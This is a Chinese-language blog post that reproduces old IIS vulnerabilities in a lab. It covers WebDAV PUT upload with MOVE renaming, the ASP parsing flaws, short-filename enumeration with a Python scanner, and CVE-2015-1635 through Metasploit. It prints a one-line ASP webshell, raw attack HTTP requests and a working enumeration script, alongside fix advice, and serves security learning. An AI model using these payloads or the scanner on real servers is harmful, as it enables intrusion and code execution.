# 前言

回到学校了,先把 blog 重构了一下。本来想着换一个主题 这个主题过于二次元了 :但是我辗转反侧一番后还是决定用现在这个主题,用其他主题前面需要改的东西就太多了。考虑到时间成本我还是使用原本的这个主题,到时候换一下其中的照片倒也还能接受。所以暂时就先这样吧。

# IIS

IIS 全称 internet information services。是 Microsoft 公司提供的可扩展 WEB 服务器,支持 HTTP,HTTP/2 等协议。目前只适用与 Windows 操作系统,不适用于其他系统。本来我是想找一下 IIS 市场份额占有率的数据的,但是我在 Netcraft 最新的服务器调查 blog 里甚至没有看到 IIS 的身影 2024 年 2 月 Web 服务器调查 | 网艺 (netcraft.com),我大致往前翻了翻。只能说曾经辉煌过,在 2018 年还能凭借 9.57% 的比例占据全球最繁忙的服务器 Apache 34.07%、Nginx 25.45% :。这个战绩也是情有可原,毕竟 IIS 安全性一直被业内诟病。网上公开的漏洞也都是很旧的版本了。下面是 windows 系统对应的 IIS 版本

windows 2016 对应	IIS10.0
windows 2012 对应	IIS8.5
windows 7 	对应	IIS7.5
windows server 2008	对应	IIS7.5
windows vista Business, Enterpise 以及 ultimate 对应 IIS7
Windows Vista Home Premium	对应 IIS7
Windows Vista Home Edition 不支持 pws 或IIS
windows server 2003	对应	IIS 6.0
windows xp professional 	对应	IIS5.1
windows 2000 professional 	对应 IIS5.0
windows NT professional 	对应	IIS3.0并支持IIS 4

# 漏洞复现

这里也没什么前置知识好说的,会搭建就好。而且这么老的东西,我更倾向于了解一下相关的漏洞,主要有一点强迫症,还是简单的写一篇 blog 记录一下。

# IIS6.0 PUT 漏洞

# 漏洞描述

IIS6.0server 在 web 服务拓展中开启了 WebDAV。WebDAV 是一种 HTTP1.1 的拓展协议,例如 PUT,MOVE。根据 PUT 协议,当我们浏览某个网站,访问一个资源的时候。如果网站上存在这个资源,则会进行替换,如果不存在则会创建这个资源。所以我们可以通过 PUT 来对目标网站写入 shell。

# 利用条件

  • IIS Server 在 Web 拓展服务中开启了 WebDAV
  • 对网站目录具有写的权限

# 环境搭建

这里我使用的是 win2003

image-20240302144529683

在控制面板这里选择添加或删除程序

image-20240302185905477

然后在这里点击添加 / 删除 Windows 组件

image-20240302190113303

然后在出现的 Windows 组件向导这里,选择应用程序服务器

image-20240302190254378

然后下一步就可以安装完成了

值得注意的是这里需要连接上 CD/DVD

# 漏洞复现

image-20240302190638340

这里看到,IIS 版本是 6.0 版本的

image-20240302190736594

这里因为是复现这个 PUT 漏洞,所以我们需要将这个 Web 服务拓展中的 WebDAV 开启

image-20240302190851100

这样就满足我们可利用的第一个条件了,第二个条件是我们需要对网站目录具有写入权限

image-20240302191212830

然后主目录这里的写入权限也需要打开(默认也是关闭的)

image-20240302192253983

这里设置一下 Internet 的权限,实际上这个权限默认是没有的,这样利用限制还是比较多的,访问如下图所示就可以开始测试了

image-20240302191649771

这里先用 IIS PUT Scaner 探测一下

image-20240302191734242

可以看到当前目录已经是可以使用 put 写入了,然后对其发送数据包

PUT /test.txt HTTP/1.1
Host: 192.168.246.129
Content-Length: 29
<%eval request("clown")%>

image-20240302192415850

可以看到这里就已经成功写入了,当然这里上传的是 txt 文件,我们利用 move 方法将 txt 转为 asp 文件,发送如下数据包

MOVE /test.txt HTTP/1.1
Host: 192.168.246.129
Destination: http://192.168.246.129/shell.asp

但是我们想要修改我们还需要脚本资源访问权限

image-20240302194014142

然后就可以修改了

image-20240302194353135

这里可以看到就已经复制了一份过来,然后我们尝试使用蚁剑连接

image-20240302194530536

这里就已经利用成功了

# 修复

利用条件也是比较苛刻的,实际上默认情况下是没法被利用的。这里的修复我们针对性的就可以了

  • IIS Server 在 Web 拓展服务中关闭 WebDAV
  • 对网站目录限制写入权限

# IIS6.0 解析漏洞

# 漏洞描述

文件解析:IIS 会将 *.asp;.txt 这样的文件只会把其当做 *.asp 文件执行不会看分号之后的内容

目录解析:IIS 会将以 *.asp 命名的目录中的文件当做 asp 文件执行

# 利用条件

IIS6.0、IIS7.5

这里还是使用上面的环境

# 文件解析

这里还是使用上面的环境

MOVE /test.txt HTTP/1.1
Host: 192.168.246.129
Destination: http://192.168.246.129/1.asp;.txt

然后这里我们将刚刚上传的 txt 文件,重名为 1.asp;.txt

image-20240302202433033

可以看到修改成功了,这里我们使用蚁剑尝试连接

image-20240302202748167

验证成功

# 目录解析

还是上面的环境,这里首先创建了一个 test.asp 文件夹,如下图

image-20240303124852124

然后正在这个目录下创建一个 test.txt 文件

image-20240303125818573

文件中写入一个一句话 asp 木马

image-20240303130019594

可以看到这里也是当成 asp 文件了

# 补充

另外,IIS6.x 除了会将扩展名为。asp 之外,还会将扩展名为.asa、.cdx、.cer 等解析为 asp

image-20240303130417109

这里仅拿一个做演示,其他的就不在截图了

# IIS6.x 短文件猜解

# 漏洞描述

攻击者可以利用 “~” 来猜解或者遍历服务器中的文件名。windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名。这样做的目的是为了使得基于 MS-DOS 或者 16 位 windows 程序能正常访问这些文件。

# 利用条件

目前 IIS 支持短文件名猜测的 HTTP 方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE 六种。IIS 8.0 之后的版本只能通过 OPTIONS 和 TRACE 方法被猜测成功

IIS8.0 以下的版本需要开启 ASP.NET 支持,IIS 大于等于 8.0 版本可以通过 OPTIONS 和 TRACE 方法被猜测成功

# 漏洞复现

这里首先在网站目录这里创建一些文件和文件夹

image-20240303165327036

然后我们使用 dir /x 来看一下短文件的效果

image-20240303165344742

实际上我们可以看到,不是所有的文件都有短文件名。当后缀长度小于四的时候短文件名产生需要文件名前缀字符长度大于等于 9 位,后缀长度大于四的都有短文件名。

这里环境需要更改一下,首先找到添加或者删除程序,找到应用程序服务器后点击详细信息

image-20240304140343098

找到 ASP.NET 点击确定

image-20240304140416749

确定后点击下一步安装即可

image-20240304140544814

然后再扩展这里打开这个 ASP.NET。然后就可以做这个实验了

对应上面的我有一个短文件名 GDAJGJ~.txt,这里就拿它做一个示例

image-20240304143850899

存在的情况下返回 404

image-20240304143924819

不存在的情况下返回 400,根据这个原理可以写一个很简单的脚本来排查一下

import requests
import string
def check_short_filename(url):#检查是否存在
    try:
        check_payload_404 = "*~1*/clown.aspx"#一个通用存在的情况
        check_url_404 = url+check_payload_404
        re_404 = requests.get(check_url_404)
        check_payload_400 = "*~999.clown/clown.aspx"#一个几乎不可能存在的情况
        check_url_400 = url+check_payload_400
        re_400 = requests.get(check_url_400)
        if f'404' in str(re_404) and f'400' in str(re_400):
            print("目标疑似存在短文件漏洞")
            return True
        print("目标未检测到短文件漏洞")
        return False
    except Exception as e:
        print("发生错误:", e)
def scan_snort_filename(url,found_filenames,new_set):
    try:
        stringlist = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
        filenames = [""]
        while filenames:
            new_filenames = []
            for filename in filenames:
                for i in stringlist:
                    payload = url + filename + i + "*~1*/a.aspx"
                    if f'404' in str(requests.get(payload)):
                        new_filename = filename + i
                        new_filenames.append(new_filename)
                        found_filenames.add(new_filename)
            filenames = new_filenames
        for filename in found_filenames:
            if len(filename) == 6:
                new_set.add(filename)
                # print(filename + "~1")
    except Exception as e:
        print("发生错误:", e)
def scan_snort_suffix(url, found_filenames):
    try:
        common_suffixes = [".htm", ".html", ".php", ".asp", ".aspx", ".jsp", ".cgi", ".pl",
                           ".css", ".js", ".txt", ".xml", ".json", ".csv", ".doc", ".docx",
                           ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".zip", ".rar", ".tar",
                           ".gz", ".7z", ".bmp", ".jpg", ".jpeg", ".png", ".gif", ".ico"]
        found_suffixs = set()
        for filename in found_filenames:
            found = False
            for suffix in common_suffixes:
                payload = url + filename + "~1" + suffix + "*/a.aspx"
                # print(payload)
                if f'404' in str(requests.get(payload)):
                    found = True
                    found_suffixs.add(filename + "~1" + suffix)
            if not found:
                found_suffixs.add(filename)
        for suffix in found_suffixs:
            print(suffix)
    except Exception as e:
        print("发生错误:", e)
if __name__ == "__main__":
    # 指定要探测的 URL
    target_url = "http://192.168.246.129/"  # 替换为你要探测的 URL
    # 调用函数进行探测
    result = check_short_filename(target_url)
    if (result):
        found_filenames = set()
        new_filenames = set()
        scan_snort_filename(target_url,found_filenames,new_filenames)
        scan_snort_suffix(target_url,new_filenames)

image-20240304171616207

实际上有很多类似的利用工具:

  • WebBreacher/tilde_enum: Takes a URL and checks the system for the tilde enum vuln and then find the files. (github.com)
  • irsdl/IIS-ShortName-Scanner: latest version of scanners for IIS short filename (8.3) disclosure vulnerability (github.com)

# CVE-2015-1635

# 环境搭建

这里使用的是 Windows Server 2008

image-20240305113108140

在开始的管理工具这里打开服务器管理器

image-20240305113148048

然后再这里选择添加角色

image-20240305113214104

选中 IIS 服务器然后下一步

image-20240305113303172

这里勾选 WebDAV 发布,直接安装即可

image-20240305113449790

然后添加功能,还是在服务器管理器,这里选择添加功能

image-20240305113618740

功能选择这里添加上图中勾选的这个即可直接安装

image-20240305113801808

这时就已经可以访问了

# 利用条件

安装了微软 IIS 6.0 以上的 win 7/8/8.1/2008 R2/2012/2012 R2 都受到这个漏洞的影响。

# 漏洞验证

curl http://192.168.246.152 -H "Host:192.168.246.152" -H "Range:bytes=0-18446744073709551615"

image-20240305112827276

如果返回结果为 Requested Range Not Satisfiable 则存在漏洞,若返回 “the request has an invalid header name”,则说明该漏洞已修补。

这里直接使用 msf 来复现一下

image-20240305114132634

直接搜索对应的 CVE,这里验证一下第一个

image-20240305115052259

利用成功

image-20240305115441135

验证成功